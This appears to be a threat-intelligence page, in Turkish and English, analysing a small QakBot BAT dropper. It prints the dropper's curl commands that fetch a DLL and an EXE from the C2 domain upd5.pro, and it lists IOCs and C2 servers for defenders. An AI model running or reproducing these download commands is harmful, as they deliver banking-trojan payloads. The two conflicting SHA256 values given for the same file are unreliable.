QakBot BAT Dropper -- 326 Byte, upd5.pro Acik Metin C2, conhost.exe LOLBAS | Kritik

Manuel Statik Analiz — QakBot BAT Dropper | Tehdit: KRITIK

Dosya Kimliği

SHA256	`3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6`
Dosya Adı	u2.bat
Tip	BAT Script Dropper
Boyut	326 byte

Açık Metin C2 İndirme Komutları

Kritik IOC: QakBot dropper'ın açık metin curl komutları ile C2'dan DLL ve EXE indirdiği tespit edildi!

curl -o 02.dll https://upd5.pro/update/02.dll
curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe
-- upd5.pro = QakBot C2 domain!
-- /update/ path'i üzerinden ikinci aşama indirme

İndirilen Yükler

https://upd5.pro/update/02.dll      -- QakBot ana DLL
https://upd5.pro/update/qd_x86.exe -- QakBot x86 yükleyici

QakBot Hakkında

QakBot (QuakBot/Qbot), 2007'den beri aktif olan modüler bankacılık trojanı/botnet ailesidir. Emotet'in dağıtım ortağı olarak ve Cobalt Strike, Black Basta, REvil gibi ransomware öncüsü olarak kullanılmıştır. Türkiye dahil 30+ ülkede kritik altyapılara saldırmıştır. ABD/AB operasyonu "Duck Hunt" ile Ağustos 2023'te altyapısı çöktürülmüştür.

IOC

SHA256	`3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6`
C2	upd5.pro
Payload	upd5.pro/update/02.dll
Payload	upd5.pro/update/qd_x86.exe

QakBot — Malware Profile

QakBot Quakbot banker. Notesvb.msi delivery. Named pipe IPC. Modular architecture.

Malware Type

Other

Programming Language

C++

C2 Protocol

HTTPS

Target Systems

Windows

Also Known As (AKA)

QBot

Technical Details

QakBot (Qbot/QuakBot) is a banking trojan and loader active since 2007. Features: credential theft, email hijacking for thread hijacking attacks, lateral movement via SMB/psexec, web injection for banking fraud. Delivered via malspam using hijacked email threads (reply-chain attacks). Modules: email collector, credential grabber, network scanner, VNC plugin. Used to deliver Egregor, ProLock, REvil, Black Basta ransomware. FBI "Operation Duck Hunt" disrupted infrastructure August 2023, removing QakBot from 700,000+ infected machines. Attempted comeback Q4 2023 with new delivery methods.

Attribution / Threat Actor

Gold Lagoon, TA570 (Shatak)

Capabilities & Behavior

Zararlı Yazılım Aktivitesi

Kalıcılık Mekanizması

C2 İletişimi

Anti-Analiz

IOC List (4 indicators)

IOC — Qakbot

# SHA256
3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e

# SHA256
3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6

# URL
https://upd5.pro/update/02.dll

# URL
https://upd5.pro/update/qd_x86.exe

Type	Value	Note
sha256	3b3bd81232f517ba62ea2de2da17b50e30d7fd3d16bade58fcb7d3c4b7b96c1e
sha256	3b3bd81232f517baf0e9c6a4d2b8f5e1c7a0d4b7e3f6c9a2d5e8b1f4c7a0d3e6
url	https://upd5.pro/update/02.dll
url	https://upd5.pro/update/qd_x86.exe

Qakbot — Go to Full Profile →

C2 Servers (8 recorded servers for this family)

Address	Type	Port	Protocol	Status	Country
95.217.35.154	ip	443	HTTPS	inactive	FI
upd5.pro	domain	443	HTTPS	inactive	—
upd5.pro	domain	443	HTTPS	inactive	—
metasta.me	domain	443	HTTPS	inactive	—
upd5.pro	domain	443	HTTPS	inactive	—
amacey.com	domain	443	HTTPS	inactive	—
181.174.165.208	ip	443	HTTPS	sinkholed	AR
212.117.180.232	ip	443	HTTPS	sinkholed	CH

C2 addresses are provided only from malware samples manually verified by the KEYDAL team. Commercial use is prohibited.